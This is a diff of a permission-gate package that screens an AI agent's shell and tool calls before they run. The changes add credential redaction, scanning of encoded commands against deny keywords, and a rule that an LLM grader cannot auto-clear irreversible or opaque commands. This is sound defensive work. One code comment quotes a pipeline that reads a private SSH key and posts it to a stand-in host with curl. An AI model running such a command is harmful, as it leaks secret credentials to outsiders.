dsh-perm-gate 5.1.2-compat.7 → 5.2.0

package/lib/runtime.js

@@ -9,6 +9,7 @@
  * live harness.
  */
 import { readFileSync } from 'node:fs';
+import { createHash } from 'node:crypto';
 import { makeEntry, MemoryAuditMirror } from './audit.js';
 import { resolvePermissiveStrategies } from './config.js';
 import { appendAllowCommand, listAllowCommands, listAllowFromRulesDoc, replaceAllowCommands } from './allowlist.js';
@@ -18,7 +19,10 @@ import { decideRules } from './evaluate.js';
 import { canonicalizeCall, GrantRegistry } from './grant.js';
 import { learnKey, operationFingerprint, RiskLearning } from './learning.js';
 import { ArtifactRegistry } from './path.js';
-import { classifyRisk, classifyRiskWith } from './risk.js';
+import { classifyRisk, classifyRiskWith, RISK_SYSTEM_PROMPT_VERSION } from './risk.js';
+import { askDoubtKinds, buildAskContext, humanBrief, humanCardLine, humanCommand, toEventFields } from './ask-context.js';
+import { redactCommandText } from './redact.js';
+import { executableVariants, normalizeCommandText } from './command-normalize.js';
 import { completeViaHost, DEFAULT_HOST_MODEL } from './host-llm.js';
 import { chatCompletion } from './classifier.js';
 import { compileDocument, compileRulesObject, documentHash, extractPathCandidates, parsePermissionsDocument, } from './rule.js';
@@ -485,6 +489,11 @@ export class PermGateRuntime {
      * happens *while* the shell tool call is executing.
      */
     async askNetwork(target, reason, timeoutMs) {
+        // The reason is built by callers from the target and the rule text, and it goes
+        // to the human's popup *and* the audit mirror — so anything credential-shaped
+        // in it is masked here, once, rather than in each caller. The grant key below
+        // still uses the raw target, so session memory is unaffected.
+        const shown = redactCommandText(reason);
         const attribution = this.currentAttribution();
         if (attribution === undefined || attribution.agent === undefined) {
             // Unattributable traffic cannot ride the approval seam — fail closed.
@@ -520,7 +529,15 @@ export class PermGateRuntime {
                     agent: attribution.agent,
                     toolName: attribution.tool,
                     ...(attribution.callId !== undefined ? { callId: attribution.callId } : {}),
-                    reason,
+                    reason: shown,
+                    // Presentation-only, never persisted into the audit pair. The raw
+                    // `reason` is written for the rule layer; this says who asked and what
+                    // each button costs, which is what a person actually needs to decide.
+                    displayReason: {
+                        en: `${shown}\nAsked by a subprocess of tool "${attribution.tool}"`
+                            + `${attribution.callId === undefined ? '' : ` (call ${attribution.callId})`} on its way out.`
+                            + ' Denying blocks this connection only; allowing is remembered for this session, not globally.',
+                    },
                     signal: controller.signal,
                 }),
                 timedOut,
@@ -723,6 +740,13 @@ export class PermGateRuntime {
      * allow path (deny wins over allow). Purely additive to P0 — it can only ever
      * deny, never widen. Matching is boundary-aware and skips document bodies, so
      * a keyword can no longer veto an unrelated identifier or a file's text.
+     *
+     * Decoded layers are scanned too (B6 wiring). An `-EncodedCommand` blob is
+     * invisible to every keyword below, and this layer — unlike P0 — is a blacklist
+     * the user edits, so "the text you told me to refuse is in there" is exactly
+     * what it should be able to say. Only variants the visible command really hands
+     * to an execution primitive qualify, and no decoded text is written back to the
+     * call, the reason, or the event: the reason names the keyword, never the blob.
      */
     denyKeywordHit(exec) {
         const keywords = this.liveDenyKeywords();
@@ -731,10 +755,18 @@ export class PermGateRuntime {
         const text = denyScanText(exec);
         if (text === '')
             return undefined;
+        const haystacks = [text];
+        if (typeof exec.commandText === 'string' && exec.commandText !== '') {
+            for (const variant of executableVariants(normalizeCommandText(exec.commandText))) {
+                if (!haystacks.includes(variant))
+                    haystacks.push(variant);
+            }
+        }
         for (const keyword of keywords) {
             if (String(keyword).trim() === '')
                 continue;
-            if (keywordMatcher(String(keyword)).test(text))
+            const matcher = keywordMatcher(String(keyword));
+            if (haystacks.some((h) => matcher.test(h)))
                 return keyword;
         }
         return undefined;
@@ -757,6 +789,11 @@ export class PermGateRuntime {
             files: extra.files ?? eventFiles(exec),
             learningCount: extra.learningCount,
             threshold: extra.threshold,
+            inputDigest: extra.inputDigest,
+            promptVersion: extra.promptVersion,
+            humanBrief: extra.humanBrief,
+            humanCommand: extra.humanCommand,
+            doubtKinds: extra.doubtKinds,
             baseDir: cwdOf(exec),
         });
     }
@@ -767,11 +804,18 @@ export class PermGateRuntime {
             : `fp:${canonicalizeCall(exec.name, exec.arguments ?? {})}`;
     }
     /** Remember one ask so either settlement channel can record its terminal answer. */
-    trackAsk(exec, reason, learningKey) {
+    trackAsk(exec, reason, learningKey, askCtx) {
         if (this.pendingAsks.size >= PENDING_CAP) {
+            // Evicting the oldest pending ask silently loses a human decision that was
+            // never given: the call settles through `tools/result` against no tracked
+            // ask, so it reads as an unanswered approval. Count it and audit it, because
+            // more popup traffic makes this the failure mode most likely to bite.
             const oldest = this.pendingAsks.keys().next();
-            if (!oldest.done)
+            if (!oldest.done) {
+                const dropped = this.pendingAsks.get(oldest.value);
                 this.pendingAsks.delete(oldest.value);
+                this.recordAskEviction(oldest.value, dropped);
+            }
         }
         // Generate a synthetic snapshot ID since we no longer record 'ask' events
         // (they'd pollute the approval record). Snapshots are keyed by this ID.
@@ -785,6 +829,13 @@ export class PermGateRuntime {
             baseDir: cwdOf(exec),
             snapshotId,
             learningKey,
+            ...(askCtx === undefined
+                ? {}
+                : {
+                    humanBrief: humanBrief(askCtx, 'en'),
+                    humanCommand: humanCommand(askCtx),
+                    doubtKinds: askDoubtKinds(askCtx),
+                }),
         };
         this.pendingAsks.set(this.askKey(exec), pending);
         // Save pre-change snapshots so the review page can diff/revert later.
@@ -799,10 +850,45 @@ export class PermGateRuntime {
     untrackAsk(exec) {
         this.pendingAsks.delete(this.askKey(exec));
     }
+    /**
+     * Record that a pending ask was evicted by capacity, so "the popup never came
+     * back" is diagnosable instead of silent. Audited rather than fed to the event
+     * feed: no new event `kind` is introduced, so nothing can be mis-rendered as an
+     * allow by `presentation()`'s default branch.
+     */
+    recordAskEviction(key, dropped) {
+        this.askEvictions += 1;
+        const detail = { key, tool: dropped?.tool ?? 'unknown', reason: dropped?.reason ?? '' };
+        this.lastAskEviction = detail;
+        const now = typeof this.options.now === 'function' ? this.options.now : Date.now;
+        this.audit.append(makeEntry({
+            callId: key,
+            tool: detail.tool,
+            outcome: 'ask',
+            source: 'default',
+            reason: `pending-ask capacity: evicted the oldest unanswered ask (${this.askEvictions} total, cap ${PENDING_CAP})`,
+            at: now(),
+        }));
+    }
     /** Asks currently awaiting a terminal answer (diagnostics/tests). */
     pendingAskCount() {
         return this.pendingAsks.size;
     }
+    /**
+     * Pending-ask capacity health: how many asks are in flight, the cap, and how
+     * many have been evicted. Surfaces the case where the gate asks more than it can
+     * track, which otherwise looks identical to a lost approval.
+     */
+    pendingAskStats() {
+        return {
+            size: this.pendingAsks.size,
+            cap: PENDING_CAP,
+            evictions: this.askEvictions,
+            ...(this.lastAskEviction === undefined ? {} : { lastEviction: this.lastAskEviction }),
+        };
+    }
+    askEvictions = 0;
+    lastAskEviction;
     /**
      * Remember that the gate positively allowed one call, so an approval raised from
      * inside that same call can be answered from this verdict.
@@ -982,15 +1068,21 @@ export class PermGateRuntime {
         // user's terminal answer comes back through tools/result anyway.
         if (outcome !== 'ask') {
             this.audit.append(makeEntry({ callId, tool: exec.name, outcome, source, reason: decision.reason, at: Date.now() }));
-            this.recordEvent(exec, outcome === 'allow' ? 'auto' : outcome === 'deny' ? 'deny' : 'ask', decision.reason, { verdict: source });
+            // Preset deny-table entries tag their reason with `[deny-rule:<id>]`
+            // (see preset-rules.ts): surface the tag as the verdict so the audit,
+            // the feed and per-rule revocation attribute the exact entry instead of
+            // the whole `rule` partition.
+            const ruleTag = decision.stage === 'rule' ? /\[deny-rule:[a-z0-9._-]+\]/.exec(decision.reason)?.[0] : undefined;
+            this.recordEvent(exec, outcome === 'allow' ? 'auto' : outcome === 'deny' ? 'deny' : 'ask', decision.reason, { verdict: ruleTag ?? source });
         }
         if (decision.action === 'deny')
             return { kind: 'deny', reason: decision.reason };
         if (decision.action === 'ask') {
             // Track before returning: the approval observer can settle this ask
             // before the call ever reaches `tools/result`.
-            this.trackAsk(exec, decision.reason);
-            return { kind: 'ask', reason: decision.reason };
+            const askCtx = this.contextFor(exec, decision.reason);
+            this.trackAsk(exec, decision.reason, undefined, askCtx);
+            return this.askDecision(askCtx, decision.reason);
         }
         // A genuine allow (grant / rule / classifier / permissive default): remember it
         // so a sandbox escalation raised from inside this same call is answered here
@@ -1151,14 +1243,36 @@ export class PermGateRuntime {
             && (cfg?.endpoint === undefined || cfg?.endpoint === '' || cfg?.model === undefined || cfg?.model === '')) {
             return decision;
         }
-        // Inject cwd into the risk request so the LLM can see the full path context
-        // (e.g. that a Remove-Item targets a temp directory, not user data).
-        const riskArgs = { ...(exec.arguments ?? {}) };
-        const cwd = cwdOf(exec);
-        if (typeof cwd === 'string' && cwd !== '' && typeof riskArgs.cwd !== 'string') {
-            riskArgs.cwd = cwd;
-        }
-        const req = { tool: exec.name, args: riskArgs, reason: decision.reason };
+        // One frozen view of this call, then the grader's projection of it: bounded,
+        // redacted downstream, and carrying the scope anchor its own prompt assumes
+        // but had never been given (`deletion inside the workspace is SAFE` was
+        // unenforceable without it). Tier knobs stay out of the payload on purpose:
+        // feeding them makes the model echo the rule layer instead of judging.
+        const workspace = cwdOf(exec);
+        const askCtx = buildAskContext({
+            tool: exec.name,
+            args: exec.arguments ?? {},
+            commandText: exec.commandText,
+            cwd: workspace,
+            workspaceRoot: workspace,
+            files: eventFiles(exec),
+            ruleReason: decision.reason,
+            callId: exec.callId,
+            knobs: { permissionPreset: this.presetOf(exec) },
+            // Salted per session: a bare digest of a short command is trivially
+            // dictionary-reversible and would let one event be joined to another
+            // session's. Raw args never reach the log either.
+            salt: sessionIdOf(exec),
+            hash: (text) => createHash('sha256').update(text).digest('hex').slice(0, 16),
+        });
+        const eventFields = toEventFields(askCtx);
+        const req = {
+            tool: askCtx.tool,
+            args: askCtx.args ?? {},
+            reason: decision.reason,
+            workspaceRoot: askCtx.workspaceRoot,
+            targetResolvable: askCtx.targetResolvable,
+        };
         let risk;
         if (this.options.riskHook !== undefined) {
             risk = await this.options.riskHook(req);
@@ -1170,10 +1284,37 @@ export class PermGateRuntime {
         else {
             risk = await classifyRisk(cfg ?? {}, req);
         }
+        // Opaque payload: the grader may not clear what it cannot see. Checked here,
+        // ahead of the `safe` branch, as a deterministic veto over the model rather
+        // than a category it is asked to pick — an over-confident `safe` must not
+        // auto-allow an `-EncodedCommand` blob or an unreadable script out of workspace.
+        // Same veto for an unlearnable act (`docker volume rm`): the data is gone for
+        // good, yet refusing outright would be unappealable for a command people run
+        // on purpose, so the human decides and nothing is ever learned.
+        //
+        // And the third shape is the one the pipe teaches: `cat ~/.ssh/id_rsa | curl
+        // -d @- https://x` splits into segments, so no single segment carries both the
+        // secret and the outbound channel — the *rule* layer only sees the pair when
+        // the whole call is read at once, which is what the tier does. Wherever the
+        // deterministic layer has graded the act irreversible, a probabilistic `safe`
+        // must not be able to clear it; ask instead, and never sediment it. This is a
+        // veto over the model, never a deny: the human keeps the decision.
+        if (askCtx.reversibility === 'I' || askCtx.unlearnable || !askCtx.targetResolvable) {
+            if (risk.kind !== 'unresolved') {
+                const why = askCtx.unlearnable
+                    ? 'data=unrecoverable → ask, never learned'
+                    : askCtx.reversibility === 'I'
+                        ? 'irreversible by rule → ask'
+                        : 'payload=opaque → ask';
+                const vetoReason = `${decision.reason} [${why}, grader said ${risk.kind}] · ${humanCardLine(askCtx)}`;
+                this.trackAsk(exec, vetoReason, undefined, askCtx);
+                return this.askDecision(askCtx, vetoReason);
+            }
+        }
         if (risk.kind === 'safe') {
             const reason = `llm-assist risk: safe${risk.reason === undefined ? '' : ` (${risk.reason})`}`;
             this.audit.append(makeEntry({ callId: randomId(), tool: exec.name, outcome: 'allow', source: 'classifier', reason, at: Date.now() }));
-            this.recordEvent(exec, 'auto', reason, { risk: 'safe', verdict: 'llm-safe' });
+            this.recordEvent(exec, 'auto', reason, { risk: 'safe', verdict: 'llm-safe', inputDigest: eventFields.inputDigest, promptVersion: RISK_SYSTEM_PROMPT_VERSION });
             this.untrackAsk(exec); // auto-allowed: no human answer is coming
             this.clearCall(exec, reason, 'llm-safe', 'classifier');
             return undefined;
@@ -1194,9 +1335,9 @@ export class PermGateRuntime {
                 // Hard categories stay distinct from `neutral` in one way that matters:
                 // they are NEVER learnable, so repeated confirmations cannot sediment
                 // them into an auto-allow.
-                const hardReason = `${decision.reason} [llm-assist risky:${risk.category} → ask]`;
-                this.trackAsk(exec, hardReason, undefined);
-                return { kind: 'ask', reason: hardReason };
+                const hardReason = `${decision.reason} [llm-assist risky:${risk.category} → ask] · ${humanCardLine(askCtx)}`;
+                this.trackAsk(exec, hardReason, undefined, askCtx);
+                return this.askDecision(askCtx, hardReason, true);
             }
             const learning = this.liveRiskLearning();
             const fp = operationFingerprint(exec.name, exec.arguments ?? {}, exec.commandText);
@@ -1217,14 +1358,65 @@ export class PermGateRuntime {
                 }
                 this.pending.set(canonicalizeCall(exec.name, exec.arguments ?? {}), { key, fp, ctx: decision.reason });
             }
-            const neutralReason = `${decision.reason} [llm-assist risky:neutral]`;
+            const neutralReason = `${decision.reason} [llm-assist risky:neutral] · ${humanCardLine(askCtx)}`;
             // The refined reason supersedes the raw ask, and the candidate key lets the
             // terminal event report the post-approval learning progress.
-            this.trackAsk(exec, neutralReason, learning.enabled ? key : undefined);
-            return { kind: 'ask', reason: neutralReason };
+            this.trackAsk(exec, neutralReason, learning.enabled ? key : undefined, askCtx);
+            return this.askDecision(askCtx, neutralReason, true);
         }
-        // unresolved: keep the ask, learn nothing.
-        return decision;
+        // unresolved: keep the ask, learn nothing — and label it. Without a marker
+        // here, "the grader timed out" and "the grader called this risky" reach the
+        // human as the same sentence, so an outage silently impersonates a
+        // security judgement. Tagged via `reason` rather than a new event `kind`,
+        // because `presentation()` maps an unknown kind to a green ALLOW.
+        const unresolvedReason = `${decision.reason} [llm-assist unresolved → ask] · ${humanCardLine(askCtx)}`;
+        this.trackAsk(exec, unresolvedReason, undefined, askCtx);
+        return this.askDecision(askCtx, unresolvedReason);
+    }
+    /**
+     * One frozen view of a call, built the same way for every ask path so the
+     * popup cannot disagree with what the grader was shown.
+     */
+    contextFor(exec, reason) {
+        const workspace = cwdOf(exec);
+        return buildAskContext({
+            tool: exec.name,
+            args: exec.arguments ?? {},
+            commandText: exec.commandText,
+            cwd: workspace,
+            workspaceRoot: workspace,
+            files: eventFiles(exec),
+            ruleReason: reason,
+            callId: exec.callId,
+            knobs: { permissionPreset: this.presetOf(exec) },
+        });
+    }
+    /**
+     * An ask plus the card the human actually needs, in the host's presentation-only field.
+     *
+     * The plan's B4 clause lists five things for the popup — the redacted command,
+     * the files with their true total, the category, the reversibility and the tier
+     * knobs. `reason` alone cannot carry them: it is the audited string, and `REASON_MAX`
+     * truncates at 200 characters. `displayReason` is the host's own channel for
+     * presentation that never enters the audit pair, so the card goes there — starting
+     * with the audited reason (why the gate is asking at all), then the redacted
+     * command, the file list, the language-neutral tokens and the sentence about what
+     * each button costs. Without the command line a person is asked to approve an
+     * operation they cannot read, which is the complaint this task exists to fix.
+     */
+    askDecision(askCtx, reason, modelFlagged = false) {
+        // `reason` stays the audit string: short, English, machine-tokened. Everything a
+        // person reads goes into `displayReason`, which the host resolves by UI locale
+        // (`zh` here; the other seven fall back to `en`) and never persists.
+        const kinds = askDoubtKinds(askCtx, { modelFlagged });
+        return {
+            kind: 'ask',
+            reason,
+            displayReason: {
+                zh: humanBrief(askCtx, 'zh', kinds),
+                en: humanBrief(askCtx, 'en', kinds),
+            },
+        };
     }
     /**
      * Record the human's terminal answer for one tracked ask. This is the primary
@@ -1345,17 +1537,20 @@ export class PermGateRuntime {
             this.recordEvent(exec, 'manual-approved', ask.reason, {
                 verdict: 'human-approved',
                 files: ask.files,
+                humanBrief: ask.humanBrief,
+                humanCommand: ask.humanCommand,
+                doubtKinds: ask.doubtKinds,
                 learningCount,
                 threshold: learning.enabled ? learning.threshold : undefined,
             });
             return;
         }
         if (outcome === 'rejected') {
-            this.recordEvent(exec, 'manual-rejected', ask.reason, { verdict: 'human-rejected', files: ask.files });
+            this.recordEvent(exec, 'manual-rejected', ask.reason, { verdict: 'human-rejected', files: ask.files, humanBrief: ask.humanBrief, humanCommand: ask.humanCommand, doubtKinds: ask.doubtKinds });
             return;
         }
         if (outcome === 'cancelled') {
-            this.recordEvent(exec, 'manual-cancelled', ask.reason, { verdict: 'human-cancelled', files: ask.files });
+            this.recordEvent(exec, 'manual-cancelled', ask.reason, { verdict: 'human-cancelled', files: ask.files, humanBrief: ask.humanBrief, humanCommand: ask.humanCommand, doubtKinds: ask.doubtKinds });
             return;
         }
         // `unavailable`: no human was involved — the ask degraded to a denial.

package/lib/tool-names.d.ts

@@ -0,0 +1,43 @@
+/**
+ * The harness tool-name lists, in one place.
+ *
+ * These sets used to live inside `engine.ts` / `evaluate.ts`, which meant the
+ * question "is this call an executed command?" had two answers depending on which
+ * file asked it. It now has one, in `commandBearingCall`.
+ *
+ * Why not a name whitelist for executors: the agent mis-types tool names (today's
+ * log has `Error: unknown tool "pash"`), plugins register their own runners, and a
+ * future line may rename `shell`. A call that carries a command string and is not
+ * a *known* non-executor must be judged as a command call — the whitelist direction
+ * was a bypass, not a safety margin.
+ */
+/** Names the harness uses for "run this shell command". */
+export declare const SHELL_TOOLS: Set<string>;
+/** File mutation tools: they write paths, they do not execute their arguments. */
+export declare const WRITE_TOOLS: Set<string>;
+/**
+ * Read-only tools that can never modify the workspace or execute anything. P0
+ * still protects sensitive path reads outside the workspace root, and the
+ * deny-keyword layer still runs first, so a search whose query contains a
+ * blacklisted phrase is still vetoed.
+ */
+export declare const READ_TOOLS: Set<string>;
+/** DSH internal coordination / management tools — not workspace-modifying. */
+export declare const INTERNAL_TOOLS: Set<string>;
+/**
+ * Tools whose `command`-shaped argument is **data, not an action**.
+ *
+ * `read` receives a search string under several keys, `write` may carry a script
+ * body; parsing those as shell text would deny a file read because a document
+ * happens to quote `git push --force`. Everything *outside* this set is treated as
+ * a possible executor when it carries a command string.
+ */
+export declare const NON_EXECUTOR_TOOLS: ReadonlySet<string>;
+/** The command string one call carries, under any of the names runners use. */
+export declare function commandArgOf(args: Record<string, unknown> | undefined): string | undefined;
+/**
+ * The command a call actually executes, or `undefined` when the call is not a
+ * command call. Known non-executors are exempt; anything else with a command
+ * string is judged as a command (fail-closed toward inspection, never toward allow).
+ */
+export declare function executableCommandOf(tool: string, args: Record<string, unknown> | undefined): string | undefined;

package/lib/tool-names.js

@@ -0,0 +1,85 @@
+/**
+ * The harness tool-name lists, in one place.
+ *
+ * These sets used to live inside `engine.ts` / `evaluate.ts`, which meant the
+ * question "is this call an executed command?" had two answers depending on which
+ * file asked it. It now has one, in `commandBearingCall`.
+ *
+ * Why not a name whitelist for executors: the agent mis-types tool names (today's
+ * log has `Error: unknown tool "pash"`), plugins register their own runners, and a
+ * future line may rename `shell`. A call that carries a command string and is not
+ * a *known* non-executor must be judged as a command call — the whitelist direction
+ * was a bypass, not a safety margin.
+ */
+/** Names the harness uses for "run this shell command". */
+export const SHELL_TOOLS = new Set(['shell', 'terminal', 'bash', 'pwsh', 'sh', 'cmd', 'powershell']);
+/** File mutation tools: they write paths, they do not execute their arguments. */
+export const WRITE_TOOLS = new Set(['write', 'edit']);
+/**
+ * Read-only tools that can never modify the workspace or execute anything. P0
+ * still protects sensitive path reads outside the workspace root, and the
+ * deny-keyword layer still runs first, so a search whose query contains a
+ * blacklisted phrase is still vetoed.
+ */
+export const READ_TOOLS = new Set([
+    'read', 'read_image', 'grep', 'glob', 'ls', 'lsp',
+    // Search / lookup: every one of these only READS. `web_search` and
+    // `modlens_read_image` also reach the network, but through DSH's own client
+    // rather than a subprocess — see the network note below.
+    'web_search', 'modlens_read_image',
+    'advanced_search', 'platform_search', 'free_search_test',
+    // Session-scoped reads: they disclose already-recorded state, never mutate.
+    'context_compression_retrieve', 'memory_search_graph', 'memory_expand_graph_node',
+]);
+/** DSH internal coordination / management tools — not workspace-modifying. */
+export const INTERNAL_TOOLS = new Set([
+    // AgentTeams coordination
+    'agent_teams_create', 'agent_teams_add_member', 'agent_teams_remove_member',
+    'agent_teams_delete', 'agent_teams_edit_plan', 'agent_teams_reassign_task',
+    'agent_teams_claim_task', 'agent_teams_create_task', 'agent_teams_send_message',
+    'agent_teams_approve', 'agent_teams_resume',
+    // AgentTeams status reads
+    'agent_teams_status', 'agent_teams_update_task',
+    // DSH session/memory/goal/taskboard management. The memory store is the
+    // agent's own state, not the workspace: writing it is not a workspace write.
+    'conversation_search',
+    'memory_add', 'memory_delete', 'memory_read_scene', 'memory_search',
+    'memory_import', 'memory_ruminate', 'memory_ruminate_cancel', 'memory_ruminate_status',
+    'get_goal', 'update_goal', 'create_goal',
+    'taskboard_get', 'taskboard_list', 'taskboard_claim', 'taskboard_block',
+    'taskboard_comment', 'taskboard_release_claim', 'taskboard_submit_review',
+    'taskboard_relate',
+    // Job/agent management
+    'job_list', 'job_output', 'job_kill',
+    'list_agents', 'interrupt_agent', 'send_message',
+    // Session-local UI / plan / todo state (no workspace write, no execution)
+    'todo_write', 'render_ui', 'validate_dsh_ui', 'ask_user_question', 'exit_plan_mode',
+    // Background / planning delegation (the delegated work is gated separately)
+    'subagent', 'subagent_fork', 'ralph', 'workflow', 'skill',
+]);
+/**
+ * Tools whose `command`-shaped argument is **data, not an action**.
+ *
+ * `read` receives a search string under several keys, `write` may carry a script
+ * body; parsing those as shell text would deny a file read because a document
+ * happens to quote `git push --force`. Everything *outside* this set is treated as
+ * a possible executor when it carries a command string.
+ */
+export const NON_EXECUTOR_TOOLS = new Set([...READ_TOOLS, ...INTERNAL_TOOLS, ...WRITE_TOOLS]);
+/** The command string one call carries, under any of the names runners use. */
+export function commandArgOf(args) {
+    for (const key of ['command', 'cmd', 'script']) {
+        const value = args?.[key];
+        if (typeof value === 'string' && value.trim() !== '')
+            return value;
+    }
+    return undefined;
+}
+/**
+ * The command a call actually executes, or `undefined` when the call is not a
+ * command call. Known non-executors are exempt; anything else with a command
+ * string is judged as a command (fail-closed toward inspection, never toward allow).
+ */
+export function executableCommandOf(tool, args) {
+    return NON_EXECUTOR_TOOLS.has(tool) ? undefined : commandArgOf(args);
+}

package/package.json

@@ -1,8 +1,8 @@
 {
   "name": "dsh-perm-gate",
-  "version": "5.1.2-compat.7",
+  "version": "5.2.0",
   "publishConfig": {
-    "tag": "compat"
+    "tag": "latest"
   },
   "description": "DSH permission-gate for the DeepSeek Harness 0.1.5 line: a single self-sufficient, deterministic-first, fail-closed gate covering P0 hard-deny -> P1 session grant -> P2 static rule (allow/deny) chain -> P3 optional LLM semantic classifier -> P4 ask, with command whitelist/blacklist.",
   "type": "module",
@@ -26,6 +26,7 @@
     "CHANGELOG.md",
     "CHANGELOG.ja.md",
     "CHANGELOG.ko.md",
+    "THIRD_PARTY_NOTICES.md",
     "LICENSE"
   ],
   "main": "lib/index.js",
@@ -62,8 +63,8 @@
     "./package.json": "./package.json"
   },
   "bin": {
-    "dsh-perm-gate": "./lib/cli.js",
-    "dsh-perm-gate-patch-glyph": "./scripts/patch-permission-glyph.mjs"
+    "dsh-perm-gate": "lib/cli.js",
+    "dsh-perm-gate-patch-glyph": "scripts/patch-permission-glyph.mjs"
   },
   "engines": {
     "node": ">=24",